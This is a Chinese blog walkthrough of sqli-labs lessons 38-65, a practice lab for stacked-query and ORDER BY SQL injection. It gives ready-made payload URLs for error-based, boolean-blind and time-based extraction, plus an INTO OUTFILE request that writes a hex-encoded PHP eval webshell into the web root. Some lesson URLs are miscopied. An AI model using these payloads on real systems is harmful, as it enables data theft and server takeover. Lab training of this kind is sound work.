sql-labs38-65

这一部分训练的是堆叠查询(其实就是MySQL多语句查询)和order by注入。

Lession38

http://localhost/sqli-labs/Less-38/index.php?id=1';create database hack–+

Lession39-45

这几关其实和Lession38区别不大,所以不做详细介绍,可根据关键的SQL语句进行注入。

Lession46

这一关开始,练习order by注入了,关键SQL语句为:$sql = “SELECT * FROM users ORDER BY $id”;

尝试访问
http://192.168.1.154/sqli-labs/Less-46/?sort=1 asc
http://192.168.1.154/sqli-labs/Less-46/?sort=1 desc
如果两个页面内容不相同,则存在注入,因为asc表示升序,desc表示降序,返回的内容是不同的。


可以使用双查询报错注入

sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)))


还有一种方式就是进行盲注
sort的值等于rand(true)和rand(false)时,页面的返回值是不一样的。


所以我们就可以在rand函数中使用表达式或者判断语句作为参数进行盲注,例子如下
http://192.168.1.154/sqli-labs/Less-46/?sort=rand(ascii(substr(database(),1,1))=115)

查询结果和rand(true)一样,所以数据库名的第一个字符的ASCII码为115
延时盲注的例子如下
http://192.168.1.154/sqli-libs/Less-46/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(1))
利用procedure analyse()参数报错注入
http://192.168.0.29/sqli-labs/Less-46/?sort=1 procedure analyse(extractvalue(1,concat(0x3a,database())),1)

还可以使用into outfile写马
http://192.168.0.29/sqli-labs/Less-46/?sort=1 into outfile ‘C:/phpStudy/WWW/shell1.php’ lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e

Lession47-53

之后这几关和前的都类似,不赘述。
Lession54-65其实就是结合之前学习的知识,进行注入,要求注出secret_key,每关的注入次数有限,超过会重置相应的数据库记录。

Lession54

http://192.168.0.29/sqli-labs/Less-55/index.php?id=-1’ union select 1,2,secret_DTOX from 22kjqv7k9k–+

Lession55

http://192.168.0.29/sqli-labs/Less-55/index.php?id=-1) union select 1,2,secret_DTOX from 22kjqv7k9k–+

Lession56

http://192.168.0.29/sqli-labs/Less-55/index.php?id=-1’) union select 1,2,secret_DTOX from 22kjqv7k9k–+

Lession57-65

不写了,自行举一反三。

文章作者: Mochazz
文章链接: https://mochazz.github.io/2017/12/05/sql-labs38-65/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog